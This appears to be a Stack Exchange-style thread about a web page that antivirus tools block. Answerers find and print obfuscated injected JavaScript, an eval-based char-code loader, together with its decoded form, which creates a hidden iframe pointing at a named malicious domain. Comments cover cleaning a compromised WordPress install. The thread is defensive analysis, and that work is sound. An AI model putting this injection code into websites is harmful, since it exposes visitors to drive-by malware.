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My client reports that [this page][1] I designed is blocked by his antivirus (Norton) : . The rest of the website is not blocked. Do you have any idea why Norton would block this page ? The report says "web attack: mass injection website 5".

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Threat detected here! –  guisasso Jan 6 '13 at 21:12
@guisasso: Which anitvirus software are you using? Avast! does not appear to detect anything! –  w3d Jan 7 '13 at 14:12
@w3d Yep, avast. Threat detected. Blocked the connection. –  guisasso Jan 7 '13 at 14:14
@guisasso: Ah yes, so it did. I'm using Avast! as well but it didn't display the usual "Threat detected" alert as I would have expected. However, the logs show: Threat: JS: Iframe-XJ [Trj] - Severity:High - Blocked. I'm safe :) –  w3d Jan 7 '13 at 14:28
@w3d What a relief haha =] Love avast! –  guisasso Jan 7 '13 at 14:30

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There is definetively some JavaScript embedded in that page that looks fishy. It is a js that is obfuscated by being put as numbers in an array.

Excerpt reproduced below:

{e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,109,107,100, [....] 23,117,6,4,120,32,32,34,53);s="";for(i=0;i-494!=0;i++){if((020==0x10)&&window.document)s+=ss["fromCharCode"](1*asgq[i]-(i%5-5-4));}z=s;e(s);}</script>      <script type="text/javascript" src="http://intlwellness.com/wp-content/themes/intlwellness/jquery.validate.min.js"></script>

So if you haven't put it there, the site is somehow compromised.

EDIT: If you were to execute the above code in its entirety then it would generate and execute the following JavaScript:

(function () {
    var jvskl = document.createElement('iframe');

    jvskl.src = 'http://archiwumprasy.com/clk.php';
    jvskl.style.position = 'absolute';
    jvskl.style.border = '0';
    jvskl.style.height = '1px';
    jvskl.style.width = '1px';
    jvskl.style.left = '1px';
    jvskl.style.top = '1px';

    if (!document.getElementById('jvskl')) {
        document.write('<div id=\'jvskl\'></div>');

Which, as you can see, creates a hidden iframe that loads a malicious URL. That particular URL is known for distributing malware, however it does appear to be benign currently.

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Weird, I didn't see that code. There must be something server side that decides when to send that code to the browser. –  ZippyV Jan 6 '13 at 19:03
For what it is worth, I downloaded the page with curl, not with a browser. –  Free Radical Jan 6 '13 at 19:07
Out of curiosity, I've added the unobfuscated version of the injected code to the answer, to see what it actually does. –  w3d Jan 8 '13 at 20:30
@w3d. Thanks for spending the time unobfuscating it and adding it to my answer! Very educational. –  Free Radical Jan 8 '13 at 20:36
Thanks a lot w3d and Gisle Hannemyr. It's scary to learn that people can add code stuff to my pages through forms! But how can I fix the problem now? –  drake035 Jan 8 '13 at 22:54

probably someone injected malicious js code in the page. but checking with google it doesn't seem that there are anything: http://www.google.com/safebrowsing/diagnostic?site=http://intlwellness.com/

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Although the last time Google checked the site was on 2012-12-30, so maybe something happened in the last week? –  w3d Jan 6 '13 at 19:03
Or there is a check on the server-side to not send harmful js code when a Google bot visits. –  ZippyV Jan 6 '13 at 19:08
Wow but how could anybody "inject" code in my page? I mean you need FTP access for that no? How to fix the problem? Is it enough to re-upload the page? –  drake035 Jan 7 '13 at 18:35
no because if you reupload it without fixing the problem you will face the same problems again in future. could you please upload the page (original not with the malware) on mediafire and link it here? i will check it. –  Benjamin Jan 7 '13 at 22:14
Thx Benjamin, here's the link: mediafire.com/?h1bdd52e519ehq8 –  drake035 Jan 8 '13 at 22:51

I have just experienced the same. Someone actually managed to put a bizarr action in my htaccess and at the same time then inserted a very similar code into my header.php (this was on a wordpress installation). I stripped the htaccess and removed the numbered array from the header. Then, the next day, the code was back in the header, but not in my htaccess. So I removed it from the header again, and now it seems to be gone. At least I am not blacklisted any more. For the time. (I upgraded my wordpress and installed a plugin called bulletproof security). The date on my altered header.php was not changed.

PS: Have a look at this link, and go ahead and edit your htaccess. http://perishablepress.com/5g-blacklist-2012/

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Is there not any safe, bullet-proof way to get protection from this kind of things? –  drake035 Jan 10 '13 at 11:49
I am afraid not. Open Source platforms are vulnerable for attackers all the time. But we can make it harder for them. rule numer one is to always backup everything. Rule number two is to use all kinds of security measures available - among them: always make sure of having the latest versions of everything. Query string and text-box injections are among the most common ways these bastards use to destroy other peoples work. –  John Jan 10 '13 at 12:07
Maybe a Wordpress plugin that is vulnerable? –  w3d Jan 10 '13 at 12:41
If you use WordPress and doesn't screen themes or plugins before deploying them, that is a possibility: hannemyr.com/roztr/content_show.php?id=22 –  Free Radical Jan 10 '13 at 14:21
Thanks all and thanks John for the 5g firewall! –  drake035 Jan 15 '13 at 23:24

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